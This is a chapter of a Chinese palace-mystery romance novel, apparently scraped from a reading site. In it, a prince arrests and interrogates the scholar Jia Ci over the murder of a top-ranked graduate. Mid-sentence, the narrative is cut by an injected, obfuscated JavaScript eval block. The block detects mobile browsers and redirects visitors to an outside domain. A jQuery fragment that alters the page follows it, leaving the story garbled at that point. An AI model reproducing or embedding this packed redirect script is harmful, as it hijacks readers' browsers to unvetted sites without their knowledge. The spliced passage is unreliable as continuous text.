17. 偿情债

作品:《黄道吉日宜追妻

    “容……容安亲王。”


    贾辞斜躺在地上,忍着腹部的剧痛吃力仰头看向那个身影。除了那位以外,京中无人敢穿亲王服饰,虽不知容安亲王为何会出现在此处,但他敢肯定眼下他定是被邓夜思给骗了。


    死娘们儿!不给他保举便罢了,竟还与容安亲王联手欺骗他,都是一群心狠手辣的人!


    贾辞自知躲不掉,只能恶狠狠瞪着躺在床上的邓夜思,他下牙伸出,而后猛地扭头看向秦砚珩,眼里满是恨意。若不是这个容安亲王,他早就成状元了。


    银光一闪,剑尖直指脖子。


    贾辞微微低头看向身前的银剑,耻笑一声抬头直视秦砚珩,语气嚣张跋扈:“容安亲王这是何意,我不过是来与心上人幽会,这又是何罪之有?”


    “幽会啊,本王又没说你私闯民宅找人幽会是有罪的,”秦砚珩停住脚步,居高临下地看着这个被自己的剑给定在地上不敢动弹的男子,他微微扬起下巴,像在看一个蝼蚁一般,只听他语气慢慢,“为何一上来就说自己有罪?”


    “你莫不是……心虚?”


    秦砚珩剑尖微微刺入贾辞的皮肤,鲜血从脖子上溢出,他垂眸轻飘飘地看了一眼,又将视线挪回贾辞的脸上,神情不屑。


    “容安亲王这是在说什么,我与邓夜思两情相悦,还育有一子。一对相爱而不能在一起的恋人,趁着月黑风高幽会,这不是很正常么?”贾辞妙语连珠,将秦砚珩抛过来的问题悉数堵了回去。


    “绑起来罢,本王不想跟他啰嗦。”


    秦砚珩懒得听,转头朝窗外招了招手。就在众人疑惑时,只见一名暗卫从红墙外一跃而上径直从窗台跳入房中……


    “哎哎哎——看清楚些,我还在这儿!”秦砚珩高呼一声,闪身躲过那名刹不住脚而朝他冲过来的暗卫,二人险些撞在一起。


    见状,暗卫侧过身一个箭步来到贾辞面前,丝毫不给人反应的机会,反手便将贾辞扣押在地。


    厢房外,几名暗卫得到秦砚珩的指令后冲了进来,即刻将人押送到刑部,还顺道把捆在窗沿的马绳一道带走,动作迅速,饶是洛卿龄也未想明白这群暗卫究竟都躲在何处,怎的每次都出现得如此及时。


    房中。


    邓夜思收拾好情绪后,理了理方才被贾辞弄乱的衣裳,而后站起身走向洛卿龄。见状,秦砚珩自觉退出厢房,将剩下的时间留给二人。


    “洛娘子,让你见笑了。”


    邓夜思点点头,神情温和,看不出一丝伤心的痕迹,但洛卿龄心里明白,邓夜思不过是将自己的伤痛藏在了心底最深处,她早已习惯在人前表现出一副无所谓的样子,而背后却自己舔舐伤口,想来邓夜思这二十多年来都是这般过来的。


    洛卿龄鼻头一酸,不知为何她竟有些心疼邓夜思。这么美好的少女,不该遭受命运的折腾,父亲不爱,母亲不管,眼下好不容易遇到了自己喜欢的人,到头来却是被人利用……


    “别哭,卿卿……别哭。”邓夜思笑着抬手替她拭去泪水,随后轻轻抱着她,在她耳边温声安慰着。


    “不用替我感到难过,我没事的,你别担心。眼下我也想通了,靠人不如靠己,父亲不爱我又如何,没人爱我又如何,我为何不能自己爱自己,为何要将爱寄托在他人身上。”邓夜思放开手退后一步,看着洛卿龄神色坚定。


    “卿卿,我之后会有别的打算,”邓夜思笑意爬上眼底,不再如初识那般柔弱,“谢谢你和容安亲王的帮助,能够认识卿卿,是我的幸运。”


    夜风虽凉,洛卿龄心头却是热的,她双手紧紧回握邓夜思的手,久久不能言。


    一刻钟后。


    木门在身后关上,洛卿龄拒绝了邓夜思的相送,她独自走出厢房正要转身下楼,余光却瞥见一片黑金衣角。


    “小殿下怎的还在这儿。”洛卿龄声音低低,带着几分沙哑。她不大愿意回头让那人看到自己通红的眼眶,省得又被他笑话。


    等了半晌,却不见人开口,就在洛卿龄欲要回头时,肩上蓦地一沉,她低头看去竟是一件厚实的鹤氅,其上羽毛黑亮,一看便知价格不菲。


    他这是何意……


    “夜里寒凉,本王送你回府。”


    秦砚珩并未解释他此番举动,只见他抬脚越过洛卿龄,径直往前走去。引得她视线不自觉放到他的背影上,洛卿龄心头突然一跳。


    白日有暖阳,倒不觉得有多冷,眼下入了夜竟是丝丝寒意刺入骨头。


    洛卿龄拢了拢衣襟,披着鹤氅跟上秦砚珩。她不知道小殿下从何处取来的鹤氅,许是马车里本就一直备着,但……莫非秦砚珩在她与邓夜思说话时,特意到马车里拿鹤氅,就为了给她披着御寒?


    怎的这么突然。


    就在洛卿龄上了马车的瞬间,脑中灵光一闪,她蓦地掀开车帘朝秦砚珩喊道,后者翻身上马正要离去。


    “秦……小殿下!”洛卿龄赶忙下了马车,小跑着追上去,站在高马前仰头看向秦砚珩,她喘了一口气后说道,“殿下是要去刑部么,我也一起去!”


    她就知道秦砚珩没那么好心,怎会刻意跑到马车上拿鹤氅给她披着,不就是为了让她转移注意力赶紧回府,莫要再跟着他审讯贾辞了么!这人实在是……实在是坏透了,险些就上了他的当。


    眼前少年坐在高马上,略微低头挑眉看她,嘴角噙着笑也不说话,就这么看着她,直到洛卿龄都以为自己想岔了时,只听秦砚珩叹了口气,幽幽说道:“罢了,一起便一起罢,只是希望洛娘子待会儿若是见到一些重刑犯可莫要吓破了胆。”


    毕竟她就连看到邓夜思被贾郎举起来扔在床榻上,都吓得险些缩进他的怀里。秦砚珩垂头低低笑着,他不让她去可是真的在替她着想。


    可洛卿龄并不觉得有什么,她眼下只想着赶紧弄明白究竟是何人害死的杜逾白,以及妖怪又是如何上了杜逾白的身体,以此谋害京中几位妇人——她没有忘记化成陶俑的姑母还在湘山寺里。


    “小殿下都不害怕,我又怎会害怕,”洛卿龄仰面说道,“殿下莫走,我与殿下一同去刑部。”


    她还命令起他来了。


    秦砚珩心底暗自发笑,面上不显。只见他点了点头,持着马绳的手一拉,一人一马


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645858|172721||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    缓缓走在车前,身后洛卿龄坐在马车里跟着他,二人一道朝着刑部走去。


    *


    刑部,尸房。


    仵作拿着马绳放在尸体伤口上,仔细对比一番,形状痕迹均对得上。他将马绳放在一旁,转身朝秦砚珩抱拳说道。


    “殿下,臣核对过了,这马绳的确就是杀害杜状元的凶器。”


    秦砚珩绕着尸体走了一圈,眼下也不必再过多探究伤口,毕竟凶器必定是粗麻绳子,至于是马绳还是其他的绳子,都是其次。


    秦砚珩本想回到堂上,抬眼却见洛卿龄端坐在他的位置,忽然想起来自己把她也带过来了。他看了洛卿龄一眼,并未说什么,转身便朝屋内站着的几个侍卫说道:“有从贾辞口中审问出什么来了么?”


    “回殿下,贾公子先前一口咬定自己不认识杜状元,属下便使用了那一招,谁知贾公子还是不承认,眼下……眼下也是毫无办法。”侍卫抱拳躬身,朝着秦砚珩禀报,说到一半抬眸瞥了眼秦砚珩,瞧见后者并未有什么反应,他这才放心继续说下去。


    “用了那一招也没承认么?”秦砚珩站在洛卿龄身侧,俯身拿起桌上的茶盏,浅啜一口后开口。


    什么招数这么神秘。


    洛卿龄略微抬眸看向秦砚珩,眼里满是不解,后者似是感受到她的疑惑,垂下头看了她一眼,低声说道:“刑部有很多反人道的招式,洛娘子还是别听了,省得夜里做噩梦。”


    哼,不听就不听,她又不是来见识刑部是如何折磨人的,才不在乎他们用什么手段。


    只听隔壁刑房贾辞高喊着,一声比一声凄惨,听得洛卿龄肩头一抖。见状,秦砚珩挑眉看了她一眼,而后下巴朝门边一扬,示意侍卫将门关上。


    音量蓦地减小,秦砚珩拿起桌面上的茶盏替她斟茶,茶水滚烫,在冬夜里冒着白气。


    “你且先在此地等我,我去去就来。”秦砚珩把茶盏推到她面前后,头也不回的走出了门,还不忘给她掩上木门,省得待会儿声音太过惨烈,又将人吓到了。


    刑房。


    贾辞双手吊在房梁上,悬空的双腿此刻正在不停摆动着,脚下鲜血不停滴落,极为渗人。听见门打开的声音,贾辞略微抬眸看去,待他看清来人后,耻笑着朝旁边“呸”了一声。


    “容安亲王还有什么好手段,尽管朝我来。”贾辞低着头,笑容阴沉。


    秦砚珩也不回答,径直走到贾辞面前,身侧侍卫见状,急忙端起椅子放到他身后,秦砚珩顺势坐下,背朝后一靠,仰着下巴一脸傲视。


    “容安亲王应当不是单纯来看我行刑的罢。”贾辞斜了他一眼,嘴里淬出一口血。


    “你没有资格询问本王的意图。”秦砚珩冷声开口,只见他从袖中掏出一张纸递给侍卫,示意他拿给贾辞看。


    纸张泛黄,却又十分平整,像是主人珍藏了很久,除了岁月的痕迹外别无瑕疵。


    贾辞瞪大眼睛快速扫了几遍纸上的内容,忽地抬眸看向秦砚珩。只见他眼睛发红,双唇颤抖片刻,从喉咙中硬生生挤出几个词。


    “你……你从哪里找到的。”